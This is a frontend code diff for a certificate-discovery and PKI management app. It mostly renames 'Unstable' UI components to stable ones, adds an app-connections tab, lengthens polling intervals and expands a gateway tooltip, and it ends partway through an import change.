   DetailLabel,
-  DetailValue,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  DetailValue
 } from "@app/components/v3";
 import { PkiDiscoveryTypeLabels, TPkiDiscovery } from "@app/hooks/api";
 import { getDiscoveryStatusBadge } from "@app/pages/cert-manager/pki-discovery-utils";
@@ -21,12 +21,12 @@ type Props = {
 
 export const DiscoveryDetailsSection = ({ discovery }: Props) => {
   return (
-    <UnstableCard>
-      <UnstableCardHeader className="border-b">
-        <UnstableCardTitle>Details</UnstableCardTitle>
-        <UnstableCardDescription>Discovery job configuration</UnstableCardDescription>
-      </UnstableCardHeader>
-      <UnstableCardContent>
+    <Card>
+      <CardHeader className="border-b">
+        <CardTitle>Details</CardTitle>
+        <CardDescription>Discovery job configuration</CardDescription>
+      </CardHeader>
+      <CardContent>
         <DetailGroup>
           <Detail>
             <DetailLabel>Name</DetailLabel>
@@ -91,7 +91,7 @@ export const DiscoveryDetailsSection = ({ discovery }: Props) => {
             </Detail>
           )}
         </DetailGroup>
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryInstallationsSection.tsx b/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryInstallationsSection.tsx
index bb0f5eed11b..cb5ce7a50db 100644
--- a/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryInstallationsSection.tsx
+++ b/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryInstallationsSection.tsx
@@ -4,22 +4,22 @@ import { format } from "date-fns";
 
 import { Lottie } from "@app/components/v2";
 import {
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  Pagination,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { useListPkiInstallations } from "@app/hooks/api";
 import { getEndpoint, getGatewayLabel } from "@app/pages/cert-manager/pki-discovery-utils";
@@ -50,43 +50,39 @@ export const DiscoveryInstallationsSection = ({ discoveryId, projectId }: Props)
   const totalCount = data?.totalCount || 0;
 
   return (
-    <UnstableCard>
-      <UnstableCardHeader className="border-b">
-        <UnstableCardTitle>Installations</UnstableCardTitle>
-        <UnstableCardDescription>
-          Certificate installations discovered by this job
-        </UnstableCardDescription>
-      </UnstableCardHeader>
-      <UnstableCardContent className="p-0">
+    <Card>
+      <CardHeader className="border-b">
+        <CardTitle>Installations</CardTitle>
+        <CardDescription>Certificate installations discovered by this job</CardDescription>
+      </CardHeader>
+      <CardContent className="p-0">
         {isPending && (
           <div className="flex h-40 w-full items-center justify-center">
             <Lottie icon="infisical_loading_white" isAutoPlay className="w-16" />
           </div>
         )}
         {!isPending && installations.length === 0 && (
-          <UnstableEmpty>
-            <UnstableEmptyHeader>
-              <UnstableEmptyTitle>No installations found</UnstableEmptyTitle>
-              <UnstableEmptyDescription>
-                Run a scan to discover certificate installations
-              </UnstableEmptyDescription>
-            </UnstableEmptyHeader>
-          </UnstableEmpty>
+          <Empty>
+            <EmptyHeader>
+              <EmptyTitle>No installations found</EmptyTitle>
+              <EmptyDescription>Run a scan to discover certificate installations</EmptyDescription>
+            </EmptyHeader>
+          </Empty>
         )}
         {!isPending && installations.length > 0 && (
           <>
-            <UnstableTable>
-              <UnstableTableHeader>
-                <UnstableTableRow>
-                  <UnstableTableHead>Name</UnstableTableHead>
-                  <UnstableTableHead>Certificate</UnstableTableHead>
-                  <UnstableTableHead>Gateway</UnstableTableHead>
-                  <UnstableTableHead>Last Seen</UnstableTableHead>
-                </UnstableTableRow>
-              </UnstableTableHeader>
-              <UnstableTableBody>
+            <Table>
+              <TableHeader>
+                <TableRow>
+                  <TableHead>Name</TableHead>
+                  <TableHead>Certificate</TableHead>
+                  <TableHead>Gateway</TableHead>
+                  <TableHead>Last Seen</TableHead>
+                </TableRow>
+              </TableHeader>
+              <TableBody>
                 {installations.map((installation) => (
-                  <UnstableTableRow
+                  <TableRow
                     key={installation.id}
                     onClick={() =>
                       navigate({
@@ -99,18 +95,18 @@ export const DiscoveryInstallationsSection = ({ discoveryId, projectId }: Props)
                       })
                     }
                   >
-                    <UnstableTableCell>{getEndpoint(installation)}</UnstableTableCell>
-                    <UnstableTableCell>{installation.primaryCertName || "N/A"}</UnstableTableCell>
-                    <UnstableTableCell>{getGatewayLabel(installation) || "N/A"}</UnstableTableCell>
-                    <UnstableTableCell>
+                    <TableCell>{getEndpoint(installation)}</TableCell>
+                    <TableCell>{installation.primaryCertName || "N/A"}</TableCell>
+                    <TableCell>{getGatewayLabel(installation) || "N/A"}</TableCell>
+                    <TableCell>
                       {format(new Date(installation.lastSeenAt), "MMM dd, yyyy HH:mm")}
-                    </UnstableTableCell>
-                  </UnstableTableRow>
+                    </TableCell>
+                  </TableRow>
                 ))}
-              </UnstableTableBody>
-            </UnstableTable>
+              </TableBody>
+            </Table>
             {Boolean(totalCount) && (
-              <UnstablePagination
+              <Pagination
                 count={totalCount}
                 page={page}
                 perPage={perPage}
@@ -120,7 +116,7 @@ export const DiscoveryInstallationsSection = ({ discoveryId, projectId }: Props)
             )}
           </>
         )}
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryScanLogsSection.tsx b/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryScanLogsSection.tsx
index 56006e24eae..c7dd91d49b8 100644
--- a/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryScanLogsSection.tsx
+++ b/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryScanLogsSection.tsx
@@ -6,22 +6,22 @@ import { format } from "date-fns";
 import { Lottie, Tooltip } from "@app/components/v2";
 import {
   Button,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  Pagination,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { useGetScanHistory } from "@app/hooks/api";
 import { getScanStatusBadge } from "@app/pages/cert-manager/pki-discovery-utils";
@@ -54,12 +54,12 @@ export const DiscoveryScanLogsSection = ({
   const totalCount = data?.totalCount || 0;
 
   return (
-    <UnstableCard>
-      <UnstableCardHeader className="border-b">
+    <Card>
+      <CardHeader className="border-b">
         <div className="flex items-center justify-between">
           <div>
-            <UnstableCardTitle>Scan Runs</UnstableCardTitle>
-            <UnstableCardDescription>History of scan executions</UnstableCardDescription>
+            <CardTitle>Scan Runs</CardTitle>
+            <CardDescription>History of scan executions</CardDescription>
           </div>
           <Button
             variant="outline"
@@ -72,38 +72,36 @@ export const DiscoveryScanLogsSection = ({
             Trigger Scan
           </Button>
         </div>
-      </UnstableCardHeader>
-      <UnstableCardContent className="p-0">
+      </CardHeader>
+      <CardContent className="p-0">
         {isPending && (
           <div className="flex h-40 w-full items-center justify-center">
             <Lottie icon="infisical_loading_white" isAutoPlay className="w-16" />
           </div>
         )}
         {!isPending && scans.length === 0 && (
-          <UnstableEmpty>
-            <UnstableEmptyHeader>
-              <UnstableEmptyTitle>No scan history</UnstableEmptyTitle>
-              <UnstableEmptyDescription>
-                Trigger a scan to see scan history
-              </UnstableEmptyDescription>
-            </UnstableEmptyHeader>
-          </UnstableEmpty>
+          <Empty>
+            <EmptyHeader>
+              <EmptyTitle>No scan history</EmptyTitle>
+              <EmptyDescription>Trigger a scan to see scan history</EmptyDescription>
+            </EmptyHeader>
+          </Empty>
         )}
         {!isPending && scans.length > 0 && (
           <>
-            <UnstableTable>
-              <UnstableTableHeader>
-                <UnstableTableRow>
-                  <UnstableTableHead>Started</UnstableTableHead>
-                  <UnstableTableHead>Status</UnstableTableHead>
-                  <UnstableTableHead>Targets</UnstableTableHead>
-                  <UnstableTableHead>Certs Found</UnstableTableHead>
-                  <UnstableTableHead>Installations</UnstableTableHead>
-                  <UnstableTableHead>Duration</UnstableTableHead>
-                  <UnstableTableHead>Message</UnstableTableHead>
-                </UnstableTableRow>
-              </UnstableTableHeader>
-              <UnstableTableBody>
+            <Table>
+              <TableHeader>
+                <TableRow>
+                  <TableHead>Started</TableHead>
+                  <TableHead>Status</TableHead>
+                  <TableHead>Targets</TableHead>
+                  <TableHead>Certs Found</TableHead>
+                  <TableHead>Installations</TableHead>
+                  <TableHead>Duration</TableHead>
+                  <TableHead>Message</TableHead>
+                </TableRow>
+              </TableHeader>
+              <TableBody>
                 {scans.map((scan) => {
                   const duration =
                     scan.completedAt && scan.startedAt
@@ -115,18 +113,16 @@ export const DiscoveryScanLogsSection = ({
                       : null;
 
                   return (
-                    <UnstableTableRow key={scan.id}>
-                      <UnstableTableCell>
+                    <TableRow key={scan.id}>
+                      <TableCell>
                         {format(new Date(scan.startedAt), "MMM dd, yyyy HH:mm:ss")}
-                      </UnstableTableCell>
-                      <UnstableTableCell>{getScanStatusBadge(scan.status)}</UnstableTableCell>
-                      <UnstableTableCell>{scan.targetsScannedCount}</UnstableTableCell>
-                      <UnstableTableCell>{scan.certificatesFoundCount}</UnstableTableCell>
-                      <UnstableTableCell>{scan.installationsFoundCount}</UnstableTableCell>
-                      <UnstableTableCell>
-                        {duration !== null ? `${duration}s` : "-"}
-                      </UnstableTableCell>
-                      <UnstableTableCell>
+                      </TableCell>
+                      <TableCell>{getScanStatusBadge(scan.status)}</TableCell>
+                      <TableCell>{scan.targetsScannedCount}</TableCell>
+                      <TableCell>{scan.certificatesFoundCount}</TableCell>
+                      <TableCell>{scan.installationsFoundCount}</TableCell>
+                      <TableCell>{duration !== null ? `${duration}s` : "-"}</TableCell>
+                      <TableCell>
                         {scan.errorMessage ? (
                           <Tooltip
                             className="max-w-sm"
@@ -145,14 +141,14 @@ export const DiscoveryScanLogsSection = ({
                         ) : (
                           "-"
                         )}
-                      </UnstableTableCell>
-                    </UnstableTableRow>
+                      </TableCell>
+                    </TableRow>
                   );
                 })}
-              </UnstableTableBody>
-            </UnstableTable>
+              </TableBody>
+            </Table>
             {Boolean(totalCount) && (
-              <UnstablePagination
+              <Pagination
                 count={totalCount}
                 page={page}
                 perPage={perPage}
@@ -162,7 +158,7 @@ export const DiscoveryScanLogsSection = ({
             )}
           </>
         )}
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryTargetSection.tsx b/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryTargetSection.tsx
index 5252eda9b7e..1284f264d46 100644
--- a/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryTargetSection.tsx
+++ b/frontend/src/pages/cert-manager/DiscoveryDetailsByIDPage/components/DiscoveryTargetSection.tsx
@@ -1,14 +1,14 @@
 import {
   Badge,
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
   DetailLabel,
-  DetailValue,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  DetailValue
 } from "@app/components/v3";
 import { TPkiDiscovery } from "@app/hooks/api";
 import { parsePorts } from "@app/pages/cert-manager/pki-discovery-utils";
@@ -26,12 +26,12 @@ export const DiscoveryTargetSection = ({ discovery }: Props) => {
   const ports = parsePorts(portsStr);
 
   return (
-    <UnstableCard>
-      <UnstableCardHeader className="border-b">
-        <UnstableCardTitle>Target Configuration</UnstableCardTitle>
-        <UnstableCardDescription>Targets scanned by this discovery job</UnstableCardDescription>
-      </UnstableCardHeader>
-      <UnstableCardContent>
+    <Card>
+      <CardHeader className="border-b">
+        <CardTitle>Target Configuration</CardTitle>
+        <CardDescription>Targets scanned by this discovery job</CardDescription>
+      </CardHeader>
+      <CardContent>
         <DetailGroup>
           {domains.length > 0 && (
             <Detail>
@@ -78,7 +78,7 @@ export const DiscoveryTargetSection = ({ discovery }: Props) => {
             </DetailValue>
           </Detail>
         </DetailGroup>
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/cert-manager/DiscoveryPage/components/DiscoveryJobModal.tsx b/frontend/src/pages/cert-manager/DiscoveryPage/components/DiscoveryJobModal.tsx
index b7585ccc7c1..6e9abe6b1f3 100644
--- a/frontend/src/pages/cert-manager/DiscoveryPage/components/DiscoveryJobModal.tsx
+++ b/frontend/src/pages/cert-manager/DiscoveryPage/components/DiscoveryJobModal.tsx
@@ -15,6 +15,7 @@ import {
   Switch,
   TextArea
 } from "@app/components/v2";
+import { isInfisicalCloud } from "@app/helpers/platform";
 import {
   gatewaysQueryKeys,
   PkiDiscoveryType,
@@ -407,7 +408,26 @@ export const DiscoveryJobModal = ({ isOpen, onClose, projectId, discovery }: Pro
             render={({ field }) => (
               <FormControl
                 label="Gateway"
-                tooltipText="Use a gateway to discover certificates on private networks that are not directly accessible from the internet. The gateway acts as a proxy, routing scan traffic through your infrastructure."
+                tooltipClassName="max-w-lg py-3"
+                tooltipText={
+                  <div className="flex flex-col gap-3">
+                    <p>
+                      Use a gateway to discover certificates on private networks that are not
+                      directly accessible from the internet. The gateway acts as a proxy, routing
+                      scan traffic through your infrastructure.
+                    </p>
+                    {!isInfisicalCloud() && (
+                      <p>
+                        Alternatively, you can set the{" "}
+                        <span className="font-medium text-bunker-200">
+                          ALLOW_INTERNAL_IP_CONNECTIONS
+                        </span>{" "}
+                        environment variable to <span className="font-medium">true</span> on your
+                        instance to scan private networks directly without a gateway.
+                      </p>
+                    )}
+                  </div>
+                }
               >
                 <Select
                   value={field.value}
diff --git a/frontend/src/pages/cert-manager/InstallationDetailsByIDPage/InstallationDetailsByIDPage.tsx b/frontend/src/pages/cert-manager/InstallationDetailsByIDPage/InstallationDetailsByIDPage.tsx
index 9b274734be5..3c5a59f843d 100644
--- a/frontend/src/pages/cert-manager/InstallationDetailsByIDPage/InstallationDetailsByIDPage.tsx
+++ b/frontend/src/pages/cert-manager/InstallationDetailsByIDPage/InstallationDetailsByIDPage.tsx
@@ -6,11 +6,11 @@ import { ProjectPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal, PageHeader } from "@app/components/v2";
 import {
   Button,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstablePageLoader
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  PageLoader
 } from "@app/components/v3";
 import {
   ProjectPermissionPkiCertificateInstallationActions,
@@ -40,7 +40,7 @@ const Page = () => {
   ] as const);
 
   if (isLoading) {
-    return <UnstablePageLoader />;
+    return <PageLoader />;
   }
 
   if (!installation) {
@@ -86,30 +86,30 @@ const Page = () => {
           description="Certificate Installation Details"
           title={displayName}
         >
-          <UnstableDropdownMenu>
-            <UnstableDropdownMenuTrigger asChild>
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild>
               <Button variant="outline">
                 Options
                 <EllipsisIcon />
               </Button>
-            </UnstableDropdownMenuTrigger>
-            <UnstableDropdownMenuContent align="end">
+            </DropdownMenuTrigger>
+            <DropdownMenuContent align="end">
               <ProjectPermissionCan
                 I={ProjectPermissionPkiCertificateInstallationActions.Delete}
                 a={ProjectPermissionSub.PkiCertificateInstallations}
               >
                 {(isAllowed) => (
-                  <UnstableDropdownMenuItem
+                  <DropdownMenuItem
                     variant="danger"
                     isDisabled={!isAllowed}
                     onClick={() => handlePopUpOpen("deleteInstallation")}
                   >
                     Delete
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 )}
               </ProjectPermissionCan>
-            </UnstableDropdownMenuContent>
-          </UnstableDropdownMenu>
+            </DropdownMenuContent>
+          </DropdownMenu>
         </PageHeader>
 
         <div className="flex flex-col gap-5 lg:flex-row">
diff --git a/frontend/src/pages/cert-manager/InstallationDetailsByIDPage/components/InstallationCertificatesSection.tsx b/frontend/src/pages/cert-manager/InstallationDetailsByIDPage/components/InstallationCertificatesSection.tsx
index f723e609642..4a72ae31ded 100644
--- a/frontend/src/pages/cert-manager/InstallationDetailsByIDPage/components/InstallationCertificatesSection.tsx
+++ b/frontend/src/pages/cert-manager/InstallationDetailsByIDPage/components/InstallationCertificatesSection.tsx
@@ -5,21 +5,21 @@ import { format } from "date-fns";
 import { truncateSerialNumber } from "@app/components/utilities/serialNumberUtils";
 import {
   Badge,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { TPkiInstallationCert } from "@app/hooks/api";
 
@@ -36,40 +36,38 @@ export const InstallationCertificatesSection = ({ certificates }: Props) => {
   });
 
   return (
-    <UnstableCard>
-      <UnstableCardHeader className="border-b">
-        <UnstableCardTitle>Discovered Certificates</UnstableCardTitle>
-        <UnstableCardDescription>Certificates found on this installation</UnstableCardDescription>
-      </UnstableCardHeader>
-      <UnstableCardContent className="p-0">
+    <Card>
+      <CardHeader className="border-b">
+        <CardTitle>Discovered Certificates</CardTitle>
+        <CardDescription>Certificates found on this installation</CardDescription>
+      </CardHeader>
+      <CardContent className="p-0">
         {certificates.length === 0 ? (
-          <UnstableEmpty>
-            <UnstableEmptyHeader>
-              <UnstableEmptyTitle>No certificates found on this installation</UnstableEmptyTitle>
-              <UnstableEmptyDescription>
-                Run a scan to discover certificates
-              </UnstableEmptyDescription>
-            </UnstableEmptyHeader>
-          </UnstableEmpty>
+          <Empty>
+            <EmptyHeader>
+              <EmptyTitle>No certificates found on this installation</EmptyTitle>
+              <EmptyDescription>Run a scan to discover certificates</EmptyDescription>
+            </EmptyHeader>
+          </Empty>
         ) : (
-          <UnstableTable>
-            <UnstableTableHeader>
-              <UnstableTableRow>
-                <UnstableTableHead>SAN / CN</UnstableTableHead>
-                <UnstableTableHead>Status</UnstableTableHead>
-                <UnstableTableHead>Serial Number</UnstableTableHead>
-                <UnstableTableHead>Expires</UnstableTableHead>
-                <UnstableTableHead>Last Seen</UnstableTableHead>
-              </UnstableTableRow>
-            </UnstableTableHeader>
-            <UnstableTableBody>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead>SAN / CN</TableHead>
+                <TableHead>Status</TableHead>
+                <TableHead>Serial Number</TableHead>
+                <TableHead>Expires</TableHead>
+                <TableHead>Last Seen</TableHead>
+              </TableRow>
+            </TableHeader>
+            <TableBody>
               {certificates.map((cert) => {
                 const expiryDetails = cert.notAfter
                   ? getCertValidUntilBadgeDetails(cert.notAfter)
                   : null;
 
                 return (
-                  <UnstableTableRow
+                  <TableRow
                     key={cert.id}
                     onClick={() =>
                       navigate({
@@ -82,32 +80,32 @@ export const InstallationCertificatesSection = ({ certificates }: Props) => {
                       })
                     }
                   >
-                    <UnstableTableCell>{cert.commonName || "N/A"}</UnstableTableCell>
-                    <UnstableTableCell>
+                    <TableCell>{cert.commonName || "N/A"}</TableCell>
+                    <TableCell>
                       {expiryDetails ? (
                         <Badge variant={expiryDetails.variant}>{expiryDetails.label}</Badge>
                       ) : (
                         <Badge variant="neutral">Unknown</Badge>
                       )}
-                    </UnstableTableCell>
-                    <UnstableTableCell isTruncatable>
+                    </TableCell>
+                    <TableCell isTruncatable>
                       {truncateSerialNumber(cert.serialNumber || "")}
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       {cert.notAfter ? format(new Date(cert.notAfter), "MMM dd, yyyy") : "-"}
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       {cert.lastSeenAt
                         ? format(new Date(cert.lastSeenAt), "MMM dd, yyyy HH:mm")
                         : "-"}
-                    </UnstableTableCell>
-                  </UnstableTableRow>
+                    </TableCell>
+                  </TableRow>
                 );
               })}
-            </UnstableTableBody>
-          </UnstableTable>
+            </TableBody>
+          </Table>
         )}
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/cert-manager/InstallationDetailsByIDPage/components/InstallationDetailsSection.tsx b/frontend/src/pages/cert-manager/InstallationDetailsByIDPage/components/InstallationDetailsSection.tsx
index 34ae60d1a9c..6c67ee2b2da 100644
--- a/frontend/src/pages/cert-manager/InstallationDetailsByIDPage/components/InstallationDetailsSection.tsx
+++ b/frontend/src/pages/cert-manager/InstallationDetailsByIDPage/components/InstallationDetailsSection.tsx
@@ -1,15 +1,15 @@
 import { format } from "date-fns";
 
 import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
   DetailLabel,
-  DetailValue,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  DetailValue
 } from "@app/components/v3";
 import { TPkiInstallation } from "@app/hooks/api";
 
@@ -23,12 +23,12 @@ export const InstallationDetailsSection = ({ installation }: Props) => {
 
   return (
     <div className="flex w-full flex-col gap-5">
-      <UnstableCard>
-        <UnstableCardHeader className="border-b">
-          <UnstableCardTitle>Details</UnstableCardTitle>
-          <UnstableCardDescription>Installation information</UnstableCardDescription>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+      <Card>
+        <CardHeader className="border-b">
+          <CardTitle>Details</CardTitle>
+          <CardDescription>Installation information</CardDescription>
+        </CardHeader>
+        <CardContent>
           <DetailGroup>
             <Detail>
               <DetailLabel>Name</DetailLabel>
@@ -70,8 +70,8 @@ export const InstallationDetailsSection = ({ installation }: Props) => {
               </DetailValue>
             </Detail>
           </DetailGroup>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
     </div>
   );
 };
diff --git a/frontend/src/pages/cert-manager/IntegrationsListPage/IntegrationsListPage.tsx b/frontend/src/pages/cert-manager/IntegrationsListPage/IntegrationsListPage.tsx
index 06f2fa9654e..687c36e2235 100644
--- a/frontend/src/pages/cert-manager/IntegrationsListPage/IntegrationsListPage.tsx
+++ b/frontend/src/pages/cert-manager/IntegrationsListPage/IntegrationsListPage.tsx
@@ -10,7 +10,7 @@ import { ProjectPermissionPkiSyncActions } from "@app/context/ProjectPermissionC
 import { ProjectType } from "@app/hooks/api/projects/types";
 import { IntegrationsListPageTabs } from "@app/types/integrations";
 
-import { PkiSyncsTab } from "./components";
+import { AppConnectionsTab, PkiSyncsTab } from "./components";
 
 export const IntegrationsListPage = () => {
   const navigate = useNavigate();
@@ -22,7 +22,7 @@ export const IntegrationsListPage = () => {
     from: ROUTE_PATHS.CertManager.IntegrationsListPage.id
   });
 
-  const currentTab = selectedTab || IntegrationsListPageTabs.PkiSyncs;
+  const currentTab = selectedTab || IntegrationsListPageTabs.AppConnections;
 
   const updateSelectedTab = (tab: string) => {
     navigate({
@@ -53,6 +53,9 @@ export const IntegrationsListPage = () => {
             description="Manage integrations with third-party certificate services."
           />
           <Tabs orientation="vertical" value={currentTab} onValueChange={updateSelectedTab}>
+            <TabPanel value={IntegrationsListPageTabs.AppConnections}>
+              <AppConnectionsTab />
+            </TabPanel>
             <TabPanel value={IntegrationsListPageTabs.PkiSyncs}>
               <ProjectPermissionCan
                 renderGuardBanner
diff --git a/frontend/src/pages/cert-manager/IntegrationsListPage/components/AppConnectionsTab/AppConnectionsTab.tsx b/frontend/src/pages/cert-manager/IntegrationsListPage/components/AppConnectionsTab/AppConnectionsTab.tsx
new file mode 100644
index 00000000000..a82a4908eab
--- /dev/null
+++ b/frontend/src/pages/cert-manager/IntegrationsListPage/components/AppConnectionsTab/AppConnectionsTab.tsx
@@ -0,0 +1,18 @@
+import { ProjectPermissionCan } from "@app/components/permissions";
+import { ProjectPermissionSub, useProject } from "@app/context";
+import { ProjectPermissionAppConnectionActions } from "@app/context/ProjectPermissionContext/types";
+import { AppConnectionsTable } from "@app/pages/organization/AppConnections/AppConnectionsPage/components";
+
+export const AppConnectionsTab = () => {
+  const { currentProject } = useProject();
+
+  return (
+    <ProjectPermissionCan
+      renderGuardBanner
+      I={ProjectPermissionAppConnectionActions.Read}
+      a={ProjectPermissionSub.AppConnections}
+    >
+      <AppConnectionsTable projectId={currentProject.id} projectType={currentProject.type} />
+    </ProjectPermissionCan>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/IntegrationsListPage/components/AppConnectionsTab/index.ts b/frontend/src/pages/cert-manager/IntegrationsListPage/components/AppConnectionsTab/index.ts
new file mode 100644
index 00000000000..79649edaff1
--- /dev/null
+++ b/frontend/src/pages/cert-manager/IntegrationsListPage/components/AppConnectionsTab/index.ts
@@ -0,0 +1 @@
+export { AppConnectionsTab } from "./AppConnectionsTab";
diff --git a/frontend/src/pages/cert-manager/IntegrationsListPage/components/index.ts b/frontend/src/pages/cert-manager/IntegrationsListPage/components/index.ts
index 00ab571657a..a5c2bd8e479 100644
--- a/frontend/src/pages/cert-manager/IntegrationsListPage/components/index.ts
+++ b/frontend/src/pages/cert-manager/IntegrationsListPage/components/index.ts
@@ -1 +1,2 @@
+export { AppConnectionsTab } from "./AppConnectionsTab";
 export { PkiSyncsTab } from "./PkiSyncsTab";
diff --git a/frontend/src/pages/cert-manager/PkiSubscriberDetailsByIDPage/components/PkiSubscriberCertificatesTable.tsx b/frontend/src/pages/cert-manager/PkiSubscriberDetailsByIDPage/components/PkiSubscriberCertificatesTable.tsx
index 5540ab4d622..83622298481 100644
--- a/frontend/src/pages/cert-manager/PkiSubscriberDetailsByIDPage/components/PkiSubscriberCertificatesTable.tsx
+++ b/frontend/src/pages/cert-manager/PkiSubscriberDetailsByIDPage/components/PkiSubscriberCertificatesTable.tsx
@@ -59,7 +59,7 @@ export const PkiSubscriberCertificatesTable = ({ subscriberName, handlePopUpOpen
       limit: perPage
     },
     {
-      refetchInterval: 5000
+      refetchInterval: 30_000
     }
   );
 
diff --git a/frontend/src/pages/cert-manager/PkiSubscriberDetailsByIDPage/components/PkiSubscriberDetailsSection.tsx b/frontend/src/pages/cert-manager/PkiSubscriberDetailsByIDPage/components/PkiSubscriberDetailsSection.tsx
index 5da5be55a4d..dd1dcbbc7d1 100644
--- a/frontend/src/pages/cert-manager/PkiSubscriberDetailsByIDPage/components/PkiSubscriberDetailsSection.tsx
+++ b/frontend/src/pages/cert-manager/PkiSubscriberDetailsByIDPage/components/PkiSubscriberDetailsSection.tsx
@@ -59,7 +59,7 @@ export const PkiSubscriberDetailsSection = ({ subscriberName, handlePopUpOpen }:
       projectId
     },
     {
-      refetchInterval: 5000
+      refetchInterval: 30_000
     }
   );
 
diff --git a/frontend/src/pages/cert-manager/PkiSyncDetailsByIDPage/components/PkiSyncAuditLogsSection.tsx b/frontend/src/pages/cert-manager/PkiSyncDetailsByIDPage/components/PkiSyncAuditLogsSection.tsx
index 4be7e0b3e7d..e6d1af95045 100644
--- a/frontend/src/pages/cert-manager/PkiSyncDetailsByIDPage/components/PkiSyncAuditLogsSection.tsx
+++ b/frontend/src/pages/cert-manager/PkiSyncDetailsByIDPage/components/PkiSyncAuditLogsSection.tsx
@@ -35,7 +35,7 @@ export const PkiSyncAuditLogsSection = ({ pkiSync }: Props) => {
       </div>
       {subscription.auditLogs ? (
         <LogsSection
-          refetchInterval={4000}
+          refetchInterval={15_000}
           showFilters={false}
           project={currentProject}
           presets={{
diff --git a/frontend/src/pages/cert-manager/PoliciesPage/PoliciesPage.tsx b/frontend/src/pages/cert-manager/PoliciesPage/PoliciesPage.tsx
index 4ae23654487..1a48e96c4b1 100644
--- a/frontend/src/pages/cert-manager/PoliciesPage/PoliciesPage.tsx
+++ b/frontend/src/pages/cert-manager/PoliciesPage/PoliciesPage.tsx
@@ -1,10 +1,11 @@
-import { useState } from "react";
+import { useMemo, useState } from "react";
 import { Helmet } from "react-helmet";
 import { useTranslation } from "react-i18next";
 import { useNavigate, useSearch } from "@tanstack/react-router";
 
 import { PermissionDeniedBanner } from "@app/components/permissions";
-import { ContentLoader, PageHeader } from "@app/components/v2";
+import { PageHeader } from "@app/components/v2";
+import { PageLoader } from "@app/components/v3";
